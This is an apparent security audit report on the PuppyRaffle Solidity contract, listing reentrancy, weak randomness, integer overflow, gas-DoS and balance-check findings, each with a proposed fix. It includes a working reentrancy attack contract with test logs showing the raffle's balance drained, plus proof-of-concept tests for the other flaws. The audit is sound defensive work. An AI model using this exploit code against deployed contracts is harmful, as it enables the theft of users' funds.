Protocol Audit Report

Version 1.0

Prepared by: yappy-yum

July 9, 2025

Contents

Protocol Summary

Puppy Rafle is a protocol dedicated to raffling off puppy NFTs with variying rarities. A portion of entrance fees go to the winner, and a fee is taken by another address decided by the protocol owner.

Disclaimer

yappy-yum makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by yappy-yum is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
Likelihood	High	H	H/M	M
	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

The findings describbed in this document correspond the following commit hash:

```
22bbbb2c47f3f2b78c1b134590baf41383fd354f
```

Scope

```
./src/
-- PuppyRaffle.sol
```

Roles

- Owner: Deployer of the protocol, has the power to change the wallet address to which fees are sent through the `changeFeeAddress` function.
- Player: Participant of the raffle, has the power to enter the raffle with the `enterRaffle` function and refund value through `refund` function.

Executive Summary

Issues found

severity	Number of issues found
High	3
Medium	2
Low	0
Informational	3
Gas	1
Total	**9**

Findings

High

[H-1] Reentrancy attack in `PuppyRaffle::refund`

Description:

The `PuppyRaffle::refund` function does not follow CEI/FREI-PI and as a result, enables participants to drain the contract balance.

In the `PuppyRaffle::refund` function, we first make an external call to the `msg.sender` address, and only after making that external call, we update the players array.

```
1      function refund(uint256 playerIndex) public {
2          address playerAddress = players[playerIndex];
3          require(playerAddress == msg.sender, "PuppyRaffle: Only the player
               can refund");
4          require(playerAddress != address(0), "PuppyRaffle: Player already
               refunded, or is not active");
```

```
5
6  @>      payable(msg.sender).sendValue(entranceFee);
7
8  @>      players[playerIndex] = address(0);
9          emit RaffleRefunded(playerAddress);
10     }
```

A player who has entered the raffle could have a `fallback`/`receive` function that calls the `PuppyRaffle::refund` function again and claim another refund. They could continue to cycle this until the contract balance is drained.

Impact:

All fees paid by raffle entrants could be stolen by the malicious participant.

Proof of Concept:

1. Users enters the raffle.
2. Attacker sets up a contract with a `fallback` function that calls `PuppyRaffle::refund`.
3. Attacker enters the raffle
4. Attacker calls `PuppyRaffle::refund` from their contract, draining the contract balance.

```
1  contract ReentrantHacks {
2
3      PuppyRaffle puppyRaffle;
4      uint EntranceFees;
5      uint ThisAddressIndex;
6
7      constructor(PuppyRaffle _puppyRaffle) {
8          puppyRaffle = _puppyRaffle;
9          EntranceFees = _puppyRaffle.entranceFee();
10     }
11
12     function HackIt() public payable {
13         address[] memory player = new address[](1);
14         player[0] = address(this);
15         puppyRaffle.enterRaffle{value: EntranceFees}(player);
16
17         ThisAddressIndex = puppyRaffle.getActivePlayerIndex(address(this));
18         puppyRaffle.refund(ThisAddressIndex);
19     }
20     receive() external payable {
21         if (address(puppyRaffle).balance >= EntranceFees) {
22             puppyRaffle.refund(ThisAddressIndex);
23         }
24     }
25
26 }
27
28     function test_reentrancy() public {
```

```
29          // Get the entrance fees
30          uint entranceFee = puppyRaffle.entranceFee();
31
32          // get in more users
33          address[] memory players = new address[](20);
34          for (uint256 i = 0; i < players.length; i++) {
35              players[i] = address(uint160(uint(i)));
36          }
37          uint FundToSend = players.length * entranceFee;
38          vm.deal(playerOne, FundToSend);
39          vm.prank(playerOne);
40          puppyRaffle.enterRaffle{value: FundToSend}(players);
41
42          // checks
43          console.log("PuppyRaffle Balance Before Hack: ", address(
                puppyRaffle).balance);
44
45          // start reentrant
46          ReentrantHacks hacker = new ReentrantHacks(puppyRaffle);
47          vm.deal(address(hacker), entranceFee);
48          hacker.HackIt{value: entranceFee}();
49
50          // checks
51          console.log("PuppyRaffle Balance Before Hack: ", address(
                puppyRaffle).balance);
52          console.log("Hacker Contract Balance: ", address(hacker).balance);
53      }
```

The sample output log can be seen as below:

```
1  Logs:
2    PuppyRaffle Balance Before Hack:  20000000000000000000
3    PuppyRaffle Balance Before Hack:  0
4    Hacker Contract Balance:  22000000000000000000
```

Recommended Mitigation:

To fix this, we should have the `PuppyRaffle::refund` function update the players array before making the external call. Additionally, we should move the event emission up as well

```
1      function refund(uint256 playerIndex) public {
2          address playerAddress = players[playerIndex];
3          require(playerAddress == msg.sender, "PuppyRaffle: Only the player
               can refund");
4          require(playerAddress != address(0), "PuppyRaffle: Player already
               refunded, or is not active");
5
6  +       players[playerIndex] = address(0);
7  +       emit RaffleRefunded(playerAddress);
8
9          payable(msg.sender).sendValue(entranceFee);
```

```
10
11 -         players[playerIndex] = address(0);
12 -         emit RaffleRefunded(playerAddress);
13       }
```

[H-2] Weak Randomness in `PuppyRaffle::selectWinner`

Description:

Hashing `msg.sender`, `block.timestamp`, `block.difficulty` together creates a predictable final number. A predictable number is not a good random number. Malicious users can manipulate these values to choose the winner of the raffle themselves.

Impact:

Any user can choose the winner of the raffle, winning the money and selecting the "rarest" puppy, essentailly making it such a way that all puppies have the same rareity, since you can choose the puppy.

Proof of Concept:

There are a few attack vectors here.

1. Validators can slightly manipulate the block.timestamp and block.difficulty in an effort to result in their index being the winner.
2. Users can manipulate the msg.sender value to result in their index being the winner. Using on-chain values as a randomness seed is a well-known attack vector in the blockchain space

Recommended Mitigation:

Consider using an oracle for your randomness like Chainlink VRF.

[H-3] Unsafe cast on fees in `PuppyRaffle::totalFees`

Description:

This unsafe cast may result in an integer overflows. In solidity versions prior to 0.8.0, integers were subject to integer overflows.

When an integer is at the maximum values (in term of its data type), and the operation is still counting, overflow happens. Overflow will makes the value wrapped to 0 and start increasing as per the operations.

Impact:

In `PuppyRaffle::selectWinner`, `totalFees` are accumulated for the `feeAddress` to collect later in `withdrawFees`. However, if the totalFees variable overflows, the `feeAddress` may not collect the correct amount of fees, leaving fees permanently stuck in the contract.

Proof of Concept:

1. We first conclude a raffle of 4 players to collect some fees.
2. We then have 89 additional players enter a new raffle, and we conclude that raffle as well.
3. `totalFees` will be:

```
totalFees = totalFees + uint64(fee);
// totalFees = 800000000000000000 + 17800000000000000000;
// totalFees = 153255926290448384;
```

4. You will now not be able to withdraw, due to this line in `PuppyRaffle::withdrawFees`:

```
require(address(this).balance == uint256(totalFees), "PuppyRaffle:There are currently players active!");
```

Below is the sample scenario test that will makes the `totalFees` overflows:

```
    function test_unsafe_cast_overflow() public {
        // add players
        address[] memory players = new address[](4);
        players[0] = playerOne;
        players[1] = playerTwo;
        players[2] = playerThree;
        players[3] = playerFour;
        puppyRaffle.enterRaffle{value: entranceFee * 4}(players);

        // skip time and select winner
        skip(puppyRaffle.raffleStartTime() + puppyRaffle.raffleDuration() + 1);
        puppyRaffle.selectWinner();
        uint totalFeesBefore = puppyRaffle.totalFees();
        console.log("Total Fees collected on First Raffle: ", totalFeesBefore);

        // add another 89 players
        players = new address[](89);
        for (uint256 i = 0; i < players.length; i++) {
            players[i] = address(uint160(uint(i)));
        }
        puppyRaffle.enterRaffle{value: entranceFee * 89}(players);

        // skip time and select winner
        skip(puppyRaffle.raffleStartTime() + puppyRaffle.raffleDuration() + 1);
        puppyRaffle.selectWinner();
        uint totalFeesAfter = puppyRaffle.totalFees();
        console.log("Total Fees collected on Second Raffle: ", totalFeesAfter);
        console.log("PuppyRaffle Balance: ", address(puppyRaffle).balance);

```

```
30          // we're also unable to withdraw the fees due to
31          // strict equality (incorrect assumption of actual balance and
                actual fees collected)
32          vm.prank(puppyRaffle.feeAddress());
33          vm.expectRevert("PuppyRaffle: There are currently players active!")
                ;
34          puppyRaffle.withdrawFees();
35      }
```

Below is the output console log based on the test above:

```
Logs:
  Total Fees collected on First Raffle:  800000000000000000
  Total Fees collected on Second Raffle:  153255926290448384
  PuppyRaffle Balance:  1860000000000000000
```

Recommended Mitigation:

There are a few recommended mitigations here. 1. Use a newer version of solidity that does not have integer overflows

```
- pragma solidity ^0.7.6;
+ pragma solidity ^0.8.18;
```

Alternatively, if you want to use an older version of solidity, you can use a library like Openzeppelin's `SafeMath` to prevent integer overflows.

2. Use a `uint256` instead of a `uint64` for `totalFees`, then remove the casting

```
- uint64 public totalFees = 0;
+ uint256 public totalFees = 0;

      .
      .
      .

      function selectWinner() external {
          require(block.timestamp >= raffleStartTime + raffleDuration, "
              PuppyRaffle: Raffle not over");
          require(players.length >= 4, "PuppyRaffle: Need at least 4 players"
              );

          uint256 winnerIndex =
              uint256(keccak256(abi.encodePacked(msg.sender, block.timestamp,
                  block.difficulty))) % players.length;
          address winner = players[winnerIndex];
          uint256 totalAmountCollected = players.length * entranceFee;
          uint256 prizePool = (totalAmountCollected * 80) / 100;
          uint256 fee = (totalAmountCollected * 20) / 100;
-         totalFees = totalFees + uint64(fee);
```

```
19 +         totalFees = totalFees + fee;
20
21           uint256 tokenId = totalSupply();
```

3. Remove the balance check in `PuppyRaffle::withdrawFees`

```
1      function withdrawFees() external {
2  -       require(address(this).balance == uint256(totalFees), "PuppyRaffle:
       There are currently players active!");
3          uint256 feesToWithdraw = totalFees;
4          totalFees = 0;
5          (bool success,) = feeAddress.call{value: feesToWithdraw}("");
6          require(success, "PuppyRaffle: Failed to withdraw fees");
7      }
```

We additionally want to bring your attention to another attack vector as a result of this line in a future finding.

Medium

[M-1] DoS in loop of `PuppyRaffle::enterRaffle`

Description:

The `PuppyRaffle::enterRaffle` function loops through the `players` array to check for duplication. However, the longer the `PuppyRaffle::players` array is, the more checks a new player will have to make. This means the gas costs for players who enter right when the raffle states will be drammatically lower than those who enter later. Every additional address in the `players` array, is an additional check the loop will have to make.

```
1      /// @notice this is how players enter the raffle
2      /// @notice they have to pay the entrance fee * the number of players
3      /// @notice duplicate entrants are not allowed
4      /// @param newPlayers the list of players to enter the raffle
5      function enterRaffle(address[] memory newPlayers) public payable {
6          require(msg.value == entranceFee * newPlayers.length, "PuppyRaffle:
               Must send enough to enter raffle");
7          for (uint256 i = 0; i < newPlayers.length; i++) {
8              players.push(newPlayers[i]);
9          }
10
11         // Check for duplicates
12 @>       for (uint256 i = 0; i < players.length - 1; i++) {
13 @>           for (uint256 j = i + 1; j < players.length; j++) {
14                 require(players[i] != players[j], "PuppyRaffle: Duplicate
                       player");
15             }
16         }
```

```
17          emit RaffleEnter(newPlayers);
18      }
```

Impact:

The gas costs for raffle entrants will greatly increase as more players enter the raffle. Discouraging later users from entering, causing a rush at the start of a raffle to be one of the first entrants in the queue.

An attacker might make the `PuppyRaffle::enterRaffle` array so big, that no one else enters, guaranteeing themselves the win.

Proof of Concept:

If we have 2 sets of players enter, the gas costs will be as such: - 1st 20 Users: 645816 Gas - 2nd 20 Users: 1137855 Gas

```
1       function test_DoS() public {
2           vm.txGasPrice(1);
3
4           address[] memory players = new address[](20);
5           for (uint256 i = 0; i < players.length; i++) {
6               players[i] = address(uint160(uint(i)));
7           }
8
9           uint fundToSend = players.length * entranceFee;
10          vm.deal(playerOne, fundToSend);
11
12          uint gasBefore = gasleft();
13  @>      puppyRaffle.enterRaffle{value: fundToSend}(players);
14          uint gasAfter = gasleft();
15          console.log("Gass Used on First 20 Users: ", (gasBefore - gasAfter)
                * tx.gasprice);
16
17          players = new address[](20);
18          for (uint256 i = 0; i < players.length; i++) {
19              players[i] = address(uint160(uint(i + 21)));
20          }
21
22          fundToSend = players.length * entranceFee;
23          vm.deal(playerOne, fundToSend);
24
25          gasBefore = gasleft();
26  @>      puppyRaffle.enterRaffle{value: fundToSend}(players);
27          gasAfter = gasleft();
28          console.log("Gass Used on Second 20 Users: ", (gasBefore - gasAfter
               ) * tx.gasprice);
29      }
```

Recommended Mitigation:

There are a few recomendations: 1. Consider allowing duplications. Users can make new wallet addresses

anyways, so a duplicate check doesn't prevent the same person from entering multiple times, only the same wallet address. 2. Consider using a mapping to check for duplication. This would allow constant time lookup of whether a user has already entered.

```
+    mapping(address => uint256) public addressToRaffleId;
+    uint256 public raffleId = 0;
    .
    .
    .
    function enterRaffle(address[] memory newPlayers) public payable {
        require(msg.value == entranceFee * newPlayers.length, "PuppyRaffle:
            Must send enough to enter raffle");
        for (uint256 i = 0; i < newPlayers.length; i++) {
            players.push(newPlayers[i]);
+            addressToRaffleId[newPlayers[i]] = raffleId;
        }

-        // Check for duplicates
+       // Check for duplicates only from the new players
+       for (uint256 i = 0; i < newPlayers.length; i++) {
+          require(addressToRaffleId[newPlayers[i]] != raffleId, "
    PuppyRaffle: Duplicate player");
+       }
-        for (uint256 i = 0; i < players.length; i++) {
-            for (uint256 j = i + 1; j < players.length; j++) {
-                require(players[i] != players[j], "PuppyRaffle: Duplicate
    player");
-            }
-        }
        emit RaffleEnter(newPlayers);
    }
.
.
.
    function selectWinner() external {
+       raffleId = raffleId + 1;
        require(block.timestamp >= raffleStartTime + raffleDuration, "
           PuppyRaffle: Raffle not over");
```

3. Alternatively, you could use OpenZeppelin's `EnumerableSet` library.

[M-2] Strict equality checks on `PuppyRaffle::withdrawFees`

Description:

The `PuppyRaffle::withdrawFees` function checks the `totalFees` equals the ETH balance of the contract (`address(this).balance`). Since this contract doens't have a `payable fallback` or `recieve` function, you'd think this wouldn't be possible, but a user could `selfdesctruct` a contract

with ETH in it and force funds to the `PuppyRaffle` contract, breaking this check.

```
1       function withdrawFees() external {
2   @>      require(address(this).balance == uint256(totalFees), "PuppyRaffle:
        There are currently players active!");
3           uint256 feesToWithdraw = totalFees;
4           totalFees = 0;
5           (bool success,) = feeAddress.call{value: feesToWithdraw}("");
6           require(success, "PuppyRaffle: Failed to withdraw fees");
7       }
```

Impact:

This would prevent the `feeAddress` from withdrawing fees. A malicious user could see a `withdrawFee` transaction in the mempool, front-run it, and block the withdrawl by sending fees.

Proof of Concept:

1. `PuppyRaffle` has 800 wei in it's balance, and 800 `totalFees`.
2. Malicious user sends 1 wei via a `selfdestruct`
3. `feeAddress` is no longer able to withdraw funds

Recommended Mitigation:

Remove the balance check on the `PuppyRaffle::withdrawFees` function

```
1       function withdrawFees() external {
2   -       require(address(this).balance == uint256(totalFees), "PuppyRaffle:
        There are currently players active!");
3           uint256 feesToWithdraw = totalFees;
4           totalFees = 0;
5           (bool success,) = feeAddress.call{value: feesToWithdraw}("");
6           require(success, "PuppyRaffle: Failed to withdraw fees");
7       }
```

Informational

[I-1] Floating Pragmas version

Description:

Contracts should use strict versions of solidity. Locking the version ensures that contracts are not deployed with a different version of solidity than they were tested with. An incorrect version could lead to uninteded results.

Recommended Mitigation:

Lock up pragma versions.

```
- pragma solidity ^0.7.6;
+ pragma solidity 0.7.6;
```

[I-2] Zero Address Validation

Description:

The `PuppyRaffle` contract does not validate that the `feeAddress` is not the zero address. This means that the `feeAddress` could be set to the zero address, and fees would be lost.

```
    constructor(uint256 _entranceFee, address _feeAddress, uint256 _raffleDuration) ERC721("Puppy Raffle", "PR") {
        entranceFee = _entranceFee;
>@      feeAddress = _feeAddress;
        raffleDuration = _raffleDuration;
        raffleStartTime = block.timestamp;
```

Recommended Mitigation:

Add a zero address check whenever the `feeAddress` is updated.

[I-3] `_isActivePlayer` is never used

Description:

The function `PuppyRaffle::_isActivePlayer` is never used and should be removed.

```
-   function _isActivePlayer() internal view returns (bool) {
-       for (uint256 i = 0; i < players.length; i++) {
-           if (players[i] == msg.sender) {
-               return true;
-           }
-       }
-       return false;
-   }
```

Gas

[G-1] Unchanged variables should be marked as `constant` or `immutable`

Constant Instances:

```
PuppyRaffle.commonImageUri (src/PuppyRaffle.sol#35)
PuppyRaffle.legendaryImageUri (src/PuppyRaffle.sol#45)
PuppyRaffle.rareImageUri (src/PuppyRaffle.sol#40)
```

Immutable Instances:

```
1 PuppyRaffle.raffleDuration (src/PuppyRaffle.sol#21)
```